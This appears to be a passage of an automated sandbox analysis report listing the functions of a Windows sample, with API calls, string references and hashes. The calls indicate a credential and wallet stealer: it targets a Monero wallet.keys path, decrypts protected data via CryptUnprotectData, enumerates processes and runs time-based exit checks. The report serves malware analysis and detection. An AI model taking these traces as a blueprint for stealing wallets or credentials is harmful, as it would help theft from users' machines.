Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,006A0D73), ref: 0068E4A2
StrCmpCA.SHLWAPI(?,006A14F8), ref: 0068E4F2
StrCmpCA.SHLWAPI(?,006A14FC), ref: 0068E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0068EBDF

Strings

\*.*, xrefs: 0068E44D

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 7c2d8164f1e3646397350be9fc020df652dd3dfb62b6a361584a29807186697b
Instruction ID: 2fba8e828b47acdb7e91d66067ae83d586f60ead7cb5997f52da0cab807e79d6
Opcode Fuzzy Hash: 7c2d8164f1e3646397350be9fc020df652dd3dfb62b6a361584a29807186697b
Instruction Fuzzy Hash: 38123F719201189ADF58FBA0DD96EED73BEAF54300F4041ACB50A96491EE306F49CFD6

Function 00689AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nh,00000000,00000000), ref: 00689AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00684EEE,00000000,?), ref: 00689B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nh,00000000,00000000), ref: 00689B2A
LocalFree.KERNEL32(?,?,?,?,00684EEE,00000000,?), ref: 00689B3F

Strings

Nh, xrefs: 00689AD4, 00689AE1, 00689AF9, 00689B18, 00689AE4, 00689B1B

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: Nh
API String ID: 4291131564-3382845309
Opcode ID: 8335f3246915526a25bdfcc5ab385d56df2e52546049395a429bd0e8e5141240
Instruction ID: 20b5681b6eb2cf211115ae8ff58317b9971f37c4ba18c10548f730eae0796ea6
Opcode Fuzzy Hash: 8335f3246915526a25bdfcc5ab385d56df2e52546049395a429bd0e8e5141240
Instruction Fuzzy Hash: 0111A2B4241208AFEB14CF64DC95FAA77B5FB89704F208158F9159B390C7B6A901CBA4

Function 00A3EF59 Relevance: 7.9, Strings: 5, Instructions: 1626COMMON

Download Yara Rule

Strings

M|w, xrefs: 00A3F348
LW'T, xrefs: 00A3EF78
r2z:, xrefs: 00A3F7E4
Z', xrefs: 00A40094
h[j, xrefs: 00A3F9B0

Memory Dump Source

Source File: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: LW'T$Z'$r2z:$M|w$h[j
API String ID: 0-3466229688
Opcode ID: 49a109f058f6471ac4167a8a2b6056d8a9ea06fee78802d7dc668954072b547c
Instruction ID: e87c5b890f064deb97ac2e6ce0f3997abddcd97b93038e682e417136110ac6f9
Opcode Fuzzy Hash: 49a109f058f6471ac4167a8a2b6056d8a9ea06fee78802d7dc668954072b547c
Instruction Fuzzy Hash: BEA23AF3A0C204AFE3046E2DEC8567AFBE9EBD4320F16463DE6C4C7744E97598058696

Function 00A48E64 Relevance: 7.8, Strings: 5, Instructions: 1585COMMON

Download Yara Rule

Strings

3{=w, xrefs: 00A493A5
FjB], xrefs: 00A4A0FC
>+o}, xrefs: 00A4A11D
k>, xrefs: 00A49442
7nN}, xrefs: 00A49BAC

Memory Dump Source

Source File: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3{=w$7nN}$>+o}$FjB]$k>
API String ID: 0-4205327788
Opcode ID: 16927b41ad9bd6cf3632e4595f604d5402c0f80ef89d7b62d2958003487fb2a7
Instruction ID: 6da22eb02c71b11e738bcb9847938ffe7cf8dd44a51cea255ff746d4bd809d44
Opcode Fuzzy Hash: 16927b41ad9bd6cf3632e4595f604d5402c0f80ef89d7b62d2958003487fb2a7
Instruction Fuzzy Hash: 06A248F3A0C2109FE7086E2DEC9577ABBE9EF94320F1A453DEAC4C3744E93558058692

Function 0068C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0068C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0068C87C
lstrcat.KERNEL32(?,006A0B46), ref: 0068C943
lstrcat.KERNEL32(?,006A0B47), ref: 0068C957
lstrcat.KERNEL32(?,006A0B4E), ref: 0068C978

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 20558dc6898a37cefa862cd48c61fc22ce3c54149e4243d92dfb107c19d2db8f
Instruction ID: 137f77f300778fae0aadde817a784046739778a46020b289a42af0b33387a5a2
Opcode Fuzzy Hash: 20558dc6898a37cefa862cd48c61fc22ce3c54149e4243d92dfb107c19d2db8f
Instruction Fuzzy Hash: E64180B590421EDFDB10DFA4DD89FEEB7B9BB48308F1041A8F509A6280D7715A84CFA1

Function 00696920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0069696C
sscanf.NTDLL ref: 00696999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006969B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 006969C0
ExitProcess.KERNEL32 ref: 006969DA

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: dd8fd08e3bf29036c86b7a3cbee9ae25bf2f6a0e0d4030cef12e5d069409d944
Instruction ID: 6e7cda5d7d101a214a419c072a7557b4499b51ecd7e3ef928c82740d747543b4
Opcode Fuzzy Hash: dd8fd08e3bf29036c86b7a3cbee9ae25bf2f6a0e0d4030cef12e5d069409d944
Instruction Fuzzy Hash: 4821BA75D1420DABCF48EFE4D9459EEB7BAFF48304F04852EE506A3250EB345605CBA9

Function 00687240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0068724D
RtlAllocateHeap.NTDLL(00000000), ref: 00687254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00687281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 006872A4
LocalFree.KERNEL32(?), ref: 006872AE

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 6a4ab68042aaa7825253038fee844226ae2245f9a360a63c96b0e3efb9eeccd1
Instruction ID: 56d658aa4a35a7408f40a0609756564fb7da6a1a03bdcf720c634ddbb690308a
Opcode Fuzzy Hash: 6a4ab68042aaa7825253038fee844226ae2245f9a360a63c96b0e3efb9eeccd1
Instruction Fuzzy Hash: 9B010CB5A40208BBEB14DFE4DD4AF9E77B9FB44B05F204155FB05AA2C0D6B0AA018B65

Function 00699600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0069961E
Process32First.KERNEL32(006A0ACA,00000128), ref: 00699632
Process32Next.KERNEL32(006A0ACA,00000128), ref: 00699647
StrCmpCA.SHLWAPI(?,00000000), ref: 0069965C
CloseHandle.KERNEL32(006A0ACA), ref: 0069967A

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: d68793b03f40fa8bb2079b1683165a3639ffc8012501d23cbe74ba3a6d2d1baa
Instruction ID: 4cf59cf971173e686d2d67d1e44692b91e5d194c06c9cac1f3c7731fda5348cc
Opcode Fuzzy Hash: d68793b03f40fa8bb2079b1683165a3639ffc8012501d23cbe74ba3a6d2d1baa
Instruction Fuzzy Hash: B7010C75A00208EBDF14DFA5DD48FEDBBF9FB48704F104198A905A6240D7349B41CF61

Function 00A4C35C Relevance: 6.6, Strings: 4, Instructions: 1574COMMON

Download Yara Rule

Strings

m6f, xrefs: 00A4CA30
2z3w, xrefs: 00A4D1E2
f:o>, xrefs: 00A4C64F
eC<c, xrefs: 00A4C412

Memory Dump Source

Source File: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2z3w$eC<c$f:o>$m6f
API String ID: 0-1938127671
Opcode ID: f98c1c0fe31fccaf8bddd04f6ab51c48c1e246ee1a1a87ab487378316ceceefe
Instruction ID: 56ca813031df3f6eb1be096d03ffd63deba60e795d0e311d578ba6e5ee714412
Opcode Fuzzy Hash: f98c1c0fe31fccaf8bddd04f6ab51c48c1e246ee1a1a87ab487378316ceceefe
Instruction Fuzzy Hash: 2BB209F3A082049FE7046E2DEC8567AFBE9EF94720F1A493DEAC4C7344E63558158693

Function 00A473D4 Relevance: 6.6, Strings: 4, Instructions: 1559COMMON

Download Yara Rule

Strings

w^dT, xrefs: 00A48047
1S, xrefs: 00A47F48
W(_, xrefs: 00A47641
=L1w, xrefs: 00A47F2A

Memory Dump Source

Source File: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1S$=L1w$W(_$w^dT
API String ID: 0-1958092904
Opcode ID: cc11a19fd53b29870007f7be5a495e773e534913b06d1e73d67ab5f57e1cf6fa
Instruction ID: 8c3dec230b6be7c0fd720bcc441e22325030b094e7f8e16b8c6c400935210de3
Opcode Fuzzy Hash: cc11a19fd53b29870007f7be5a495e773e534913b06d1e73d67ab5f57e1cf6fa
Instruction Fuzzy Hash: 4CB2F5F3A082009FE304AE2DDC8567ABBE5EFD8320F16893DEAC4C7744E63558458697

Function 00698EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00685184,40000001,00000000,00000000,?,00685184), ref: 00698EC0

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: cb028d8be11d2e1af350f668031803bb51d3a86a47b03597ac6a742e26e0b03b
Instruction ID: 29265f49715db882b24fed8d7ff57a692e0bc4efee2fc3374089146fd189ace9
Opcode Fuzzy Hash: cb028d8be11d2e1af350f668031803bb51d3a86a47b03597ac6a742e26e0b03b
Instruction Fuzzy Hash: 8E110A70200208AFDF04CF64D884FA637BEBF8A354F109458F9158B650DB35E842DB60

Function 00697A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0148E458,00000000,?,006A0E10,00000000,?,00000000,00000000), ref: 00697A63
RtlAllocateHeap.NTDLL(00000000), ref: 00697A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0148E458,00000000,?,006A0E10,00000000,?,00000000,00000000,?), ref: 00697A7D
wsprintfA.USER32 ref: 00697AB7

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
